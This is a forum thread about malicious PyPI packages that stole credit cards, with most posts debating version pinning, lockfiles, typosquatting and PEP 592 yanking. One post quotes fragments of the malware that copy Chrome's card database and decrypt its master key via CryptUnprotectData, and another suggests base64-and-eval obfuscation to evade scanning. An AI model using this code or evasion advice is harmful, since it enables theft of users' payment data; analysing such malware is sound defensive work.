Malicious PyPI packages stealing credit cards and injecting code • Hacker News Board

Re: Malicious PyPI packages stealing credit cards and injecting code

#151

Post by aranchelk » Tue, Aug 03, 2021, 5:26 PM UTC

_pmf_ wrote: post #92

specialist wrote: post #38

Earlier quoted context omitted.

I did a bunch of nodejs stuff at my last gig. These teams had the of practice keeping packages up to date. Drove me frikkin nuts. So much churn, chaos. Is this a JavaScript thing? Carried over from frontend development? Exasperated, I finally stopped advocating for locking everything down. Everyone treated me like I was crazy. (Reproducible builds?? Pfft!!) Happens with enterprisey Java, Sprint, Maven projects too. (…

They have no concept of ever needing to reproduce a build. And they are probably right if you do continuous development of some SaaS stuff.

I’ve heard the argument that it’s not worth spending the time to get all aspects of your build environment into version control for 100% reproducible builds, but the saying “I shouldn’t be bothered to know what my upstream deps are” that’s pretty sad (hopefully rare).

Even with the continuous deploy stuff, I think you’re giving too much benefit of the doubt. If an upstream non-pinned change brings down something critical (e.g. payments), you’ll revert the change in source, rebuild, release, the site is still broken. If you keep old artifacts you can push one of those, now you’re not really doing continuous deployment, and you won’t be again until you finish root cause analysis, and since you’ll never see the relevant change in your source code, it could take a while.

Re: Malicious PyPI packages stealing credit cards and injecting code

#152

Post by soheil » Tue, Aug 03, 2021, 5:29 PM UTC

I feel like they could have done a better job hiding the code. Even something as simple as base64 the code and storing it as a constant and then doing an eval. Scanning for something like table name credit_card is simple enough to expose this exploit. Now I'm worried what other exploits of similar form are out there that remain undetected.

Re: Malicious PyPI packages stealing credit cards and injecting code

#153

Post by mikepurvis » Tue, Aug 03, 2021, 5:30 PM UTC

goodpoint wrote: post #140

mikepurvis wrote: post #120

Earlier quoted context omitted.

I agree, though I think there are a couple pieces to the puzzle. Like, quite apart from the enormous convenience of new releases being available right away, and even being able to drop in a git URL and run your dependency off a branch while you wait for your upstream PR to merge, pip provides isolation between workspaces that apt has never been able to do natively because it's too generic— the closest thing is lightw…

> pip provides isolation between workspaces that apt has never been able to do natively because it's too generic This is hardly a concern on production systems. It's been common practice for decades to deploy each service on a dedicated host, or at least a VM in order to have a degree of security isolation. [or a container if you don't care] > npm, cargo, etc showed how to include a dependency multiple times at diffe…

If you don't want or need version freedom, what is it about the existing deb/rpm ecosystems that don't work for you, either on their own or in conjunction with the various tools that bridge other ecosystems into them? (I'm a fan of dh_virtualenv, myself)

Or is your lament that the world as a whole is worse off because others have eaten of the fruit of systems like npm and pip?

Re: Malicious PyPI packages stealing credit cards and injecting code

#154

Post by dec0dedab0de » Tue, Aug 03, 2021, 5:31 PM UTC

pornel wrote: post #112

yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

Own hosting, pinning, and checksum checks are defenses against network-based attacks and compromise of the package repository. They do nothing against trojans like these. You will be running your own pinned checksummed version of the malicious code. If you want to stop malware published by the legitimate package author, you need to review the code you're pulling in and/or tightly sandbox it (and effective sandboxing…

it does stop against type-o'd dependencies. So if there was an evil package called requestss then you wouldn't be able to install it by accident.

Re: Malicious PyPI packages stealing credit cards and injecting code

#155

Post by soheil » Tue, Aug 03, 2021, 5:33 PM UTC

Can trusted PyPI packages or other language packages be taken over? Can their author once benevolent become malicious and inject code and push a minor version after they wake up one day?

Re: Malicious PyPI packages stealing credit cards and injecting code

#156

Post by dec0dedab0de » Tue, Aug 03, 2021, 5:34 PM UTC

specialist wrote: post #38

yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

I did a bunch of nodejs stuff at my last gig. These teams had the of practice keeping packages up to date. Drove me frikkin nuts. So much churn, chaos. Is this a JavaScript thing? Carried over from frontend development? Exasperated, I finally stopped advocating for locking everything down. Everyone treated me like I was crazy. (Reproducible builds?? Pfft!!) Happens with enterprisey Java, Sprint, Maven projects too. (…

node locks down dependencies for you, not only the version, but it saves a hash too. The problem is that npm install will install the newest version allowed in your config, and re lock it. However if you run npm ci, it will only install what is locked, and fail if the hashes don't match.

in python pipenv works the same way, pipenv sync will only install what is locked, and will check your hashes. I'm not sure about poetry.

Re: Malicious PyPI packages stealing credit cards and injecting code

#157

Post by stjohnswarts » Tue, Aug 03, 2021, 5:38 PM UTC

pornel wrote: post #112

yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

Own hosting, pinning, and checksum checks are defenses against network-based attacks and compromise of the package repository. They do nothing against trojans like these. You will be running your own pinned checksummed version of the malicious code. If you want to stop malware published by the legitimate package author, you need to review the code you're pulling in and/or tightly sandbox it (and effective sandboxing…

You will never eliminate the threat entirely, pinning and not using obscure projects does however cut down on the probability and you can't deny that.

Re: Malicious PyPI packages stealing credit cards and injecting code

#158

Post by hchasestevens » Tue, Aug 03, 2021, 5:45 PM UTC

smallerfish wrote: post #23

``` def cs(): master_key = master() login_db = os.environ['USERPROFILE'] + os.sep + \ r'AppData\Local\Google\Chrome\User Data\default\Web Data' shutil.copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor.execute("SELECT * FROM credit_cards") for r in cursor.fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw( encrypted_password, master_key) e…

It appears to be:

  def master():
      try:
          with open(os.environ['USERPROFILE'] + os.sep + 
  r'AppData\Local\Google\Chrome\User Data\Local State',
                    "r", encoding='utf-8') as f:
              local_state = f.read()
              local_state = json.loads(local_state)
      except:
          pass
      master_key = base64.b64decode(local_state["os_crypt"] 
 ["encrypted_key"])
      master_key = master_key[5:]
      master_key = 
  ctypes.windll.crypt32.CryptUnprotectData(
          (master_key, None, None, None, 0)[1])
      return master_key

Re: Malicious PyPI packages stealing credit cards and injecting code

#159

Post by joelbondurant » Tue, Aug 03, 2021, 5:45 PM UTC

import usafacts; import malware; usafacts.check(malware);

Re: Malicious PyPI packages stealing credit cards and injecting code

#160

Post by tylfin » Tue, Aug 03, 2021, 5:52 PM UTC

qwertox wrote: post #150

I don't think that it's good to just delete the packages. Same goes for Android Apps in the Google Play Store or for Chrome Extensions. These compromised packages should have their page set to a read-only mode with downloads/installs disabled, with a big warning that they were compromised. This is specially troublesome with Chrome Extensions and Android Apps, where it is not possible to get to know if I actually had…

There is the "Yank" PEP 592 semantic that can be used to mark vulnerable packages. It's adoption has been a little slow, but I agree, having these packages available and marked accordingly makes it easier for security scanning and future detection research.

https://www.python.org/dev/peps/pep-0592/